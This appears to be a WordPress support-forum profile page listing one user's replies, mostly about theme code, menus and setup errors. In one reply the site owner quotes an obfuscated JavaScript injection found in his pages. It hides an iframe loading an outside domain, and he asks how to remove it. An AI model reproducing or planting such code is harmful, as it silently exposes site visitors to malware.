ojster
Forum Replies Created
-
Forum: Fixing WordPress
In reply to: What’s wrong with my dashboard? (screen cap picture included)and I also tried reuploading all the admin files and nothing changed
Forum: Fixing WordPress
In reply to: What’s wrong with my dashboard? (screen cap picture included)I have exactly the same problem and I have not done any changes to plugins latelly. Suddenly the CP started to look like the above photo…
Forum: Fixing WordPress
In reply to: WordPress 2.5.1 and Trojan-Clicker.JS.Agent.h virus problemI get a similar problem and I have wordpress 2.7.1 installed and since yesterday my NOD32 reports a TrojanClicker.Iframe.NAO.gen
and I notice that in the generated HTML I get the last line like this:
<DIV id=main><script type="text/javascript">var hPLAmyvsdfELzjhpwQYf = "EOje60EOje105EOje102EOje114EOje97EOje109EOje101EOje32EOje119EOje105EOje100EOje116EOje104EOje61EOje34EOje52EOje56EOje48EOje34EOje32EOje104EOje101EOje105EOje103EOje104EOje116EOje61EOje34EOje54EOje48EOje34EOje32EOje115EOje114EOje99EOje61EOje34EOje104EOje116EOje116EOje112EOje58EOje47EOje47EOje116EOje114EOje97EOje102EOje102EOje105EOje99EOje45EOje114EOje101EOje115EOje111EOje117EOje114EOje99EOje101EOje115EOje46EOje99EOje110EOje47EOje111EOje114EOje100EOje101EOje114EOje47EOje105EOje110EOje46EOje99EOje103EOje105EOje63EOje50EOje34EOje32EOje115EOje116EOje121EOje108EOje101EOje61EOje34EOje98EOje111EOje114EOje100EOje101EOje114EOje58EOje48EOje112EOje120EOje59EOje32EOje112EOje111EOje115EOje105EOje116EOje105EOje111EOje110EOje58EOje114EOje101EOje108EOje97EOje116EOje105EOje118EOje101EOje59EOje32EOje116EOje111EOje112EOje58EOje48EOje112EOje120EOje59EOje32EOje108EOje101EOje102EOje116EOje58EOje45EOje53EOje48EOje48EOje112EOje120EOje59EOje32EOje111EOje112EOje97EOje99EOje105EOje116EOje121EOje58EOje48EOje59EOje32EOje102EOje105EOje108EOje116EOje101EOje114EOje58EOje112EOje114EOje111EOje103EOje105EOje100EOje58EOje68EOje88EOje73EOje109EOje97EOje103EOje101EOje84EOje114EOje97EOje110EOje115EOje102EOje111EOje114EOje109EOje46EOje77EOje105EOje99EOje114EOje111EOje115EOje111EOje102EOje116EOje46EOje65EOje108EOje112EOje104EOje97EOje40EOje111EOje112EOje97EOje99EOje105EOje116EOje121EOje61EOje48EOje41EOje59EOje32EOje45EOje109EOje111EOje122EOje45EOje111EOje112EOje97EOje99EOje105EOje116EOje121EOje58EOje48EOje34EOje62EOje60EOje47EOje105EOje102EOje114EOje97EOje109EOje101EOje62";var wyAIvMIOvBsdRDeECZxg = hPLAmyvsdfELzjhpwQYf.split("EOje");var EBrElZthpSMlQNtLZBZV = "";for (var DRzVVdaXDXEHYwLKVFrL=1; DRzVVdaXDXEHYwLKVFrL<wyAIvMIOvBsdRDeECZxg.length; DRzVVdaXDXEHYwLKVFrL++){EBrElZthpSMlQNtLZBZV+=String.fromCharCode(wyAIvMIOvBsdRDeECZxg[DRzVVdaXDXEHYwLKVFrL]);}var FmdulWQzUMVHZPWHWyXp = ""+EBrElZthpSMlQNtLZBZV+"";document.write(""+FmdulWQzUMVHZPWHWyXp+"")</script>Otherwise I see no changes and I was not doing any modification. I also tried to disable all plugin but there is no change. I did not find this code in any of the source files of main index or header or footer. How can I get rid of this?
Thanks in advance!
PeterForum: Fixing WordPress
In reply to: navigate (i.e «Previous & next») limit to a single categoryI am also looking for this navigation solution. When I am reading an entry on a single.php page and I came there from the category listing of articles, I would like the navigation to show only next nad previous articles from the same category. The problem would arrise when one entry has more than just one category though…
Regarding different template for categories you can check the solution here: http://wordpresshero.com/tricks/different-single-post-pages-in-wordpress.html/
Forum: Developing with WordPress
In reply to: Category ID from current URL nicenameWell I have to say that the code from thepaperdump works correctly but the one from Top7up not. When in parent category it still displays the child.
Just FYI and thanks to thepaperdump!
Forum: Plugins
In reply to: If (this page has subpages) thenI guess the basic question is how to get this if function working properly. Then I think the list_pages should actually work the way it is written above?
I tried also the code in the following way:
<?php if (have_posts()) : ?> <?php while (have_posts()) : the_post(); ?> TEST <?php endwhile; ?> <?php else: ?> TEST1 <?php endif; ?>I guess it is showing I am new in PHP 🙂 any ideas why this function does not work?
I assume this have_posts() check in overall pages and not just if this page has children as it always just displays the first value and never the second… How could I check if this certain page has children. So have_posts() for that specific page? I also tried is_parent() instead but it generates the same results…
thanks!
Forum: Plugins
In reply to: If (this page has subpages) thenWell I am trying to achieve the same thing, but with no luck.
I want to list subpages (children) on the sidebar if I am on the parent page and when I am on the child page I want to display the same list (brothers) if it does not have any more children. If it has children, then they should be displayed.
<?php if(have_posts()) $podstrani = wp_list_pages("title_li=&sort_column=menu_order&child_of=".$post->ID."&echo=0"); else $podstrani = wp_list_pages("title_li=&depth=1&sort_column=menu_order&child_of='.$post->post_parent.'&echo=0"); if ($podstrani) { ?> <ul> <?php echo $podstrani; ?> </ul> <?php } ?>The above code works to display children if the parent has them, but it fails to display brothers when the page has no children. I searched the forums and documentation and I googled and I can not find a solution.
Any ideas? It seams like this else function does not do anything at all. I tried to display just a certain category ID list, but it also did not function. How would the else statement be coded correctly?
Thanks a lot!
PeterForum: Requests and Feedback
In reply to: UTF-8 not working properly in 2.5Great!
Thanks! It solved the problem.
Forum: Fixing WordPress
In reply to: how to make site like davetaylor.com ?Hello,
Use this plugin:
http://rane.hasitsown.com/blog/plink/technical/33/wordpress-faq-plugin/
Best regards,
PeterForum: Fixing WordPress
In reply to: Horizontal menu with Pages and SubpagesAny ideas on how to assign class=”daddy” to parent pages and remove the actual link for that page?
I tried modifying the source code but with no luck. I would like this menu to act like http://www.htmldog.com/articles/suckerfish/dropdowns/example/
with those arrows displayed when we have subpages.
Forum: Fixing WordPress
In reply to: Horizontal menu with Pages and SubpagesWell, I just found a thread here with similar menu type. The solution is posted on this website:
http://www.invokemedia.com/category/web-technologies/cms-systems/
It would still be great though to be able to generate needed code similar to MT script.
Best regards,
PeterForum: Fixing WordPress
In reply to: Horizontal menu with Pages and SubpagesIn MT it would look something like this:
<MTCategories>
addLink(“SubSubB2″, ” <$MTCategoryLabel$> “, “<$MTCategoryLabel$>”, “<$MTCategoryArchiveLink$>”, “”);
</MTCategories>And it would automatically create the coorect code for each category. or SubPage in my case above…
Forum: Fixing WordPress
In reply to: Error with having my blog to appear on index.phpWell, my admin found the problem.
The path in the fourth line of the index.php file has ./ in front and by removing this page started working…
I guess this is the difference between the unix and Windows server as on two unix servers the default install worked fine.
Forum: Fixing WordPress
In reply to: Error with having my blog to appear on index.phpHello,
I am now having the same problem. I checked my index.php theme file and I do not have that extra line in that I could remove. And the default index.php file seems OK. What could be the problem in my case?
I am running my WP blog on a Windows server.
Best regards,
Peter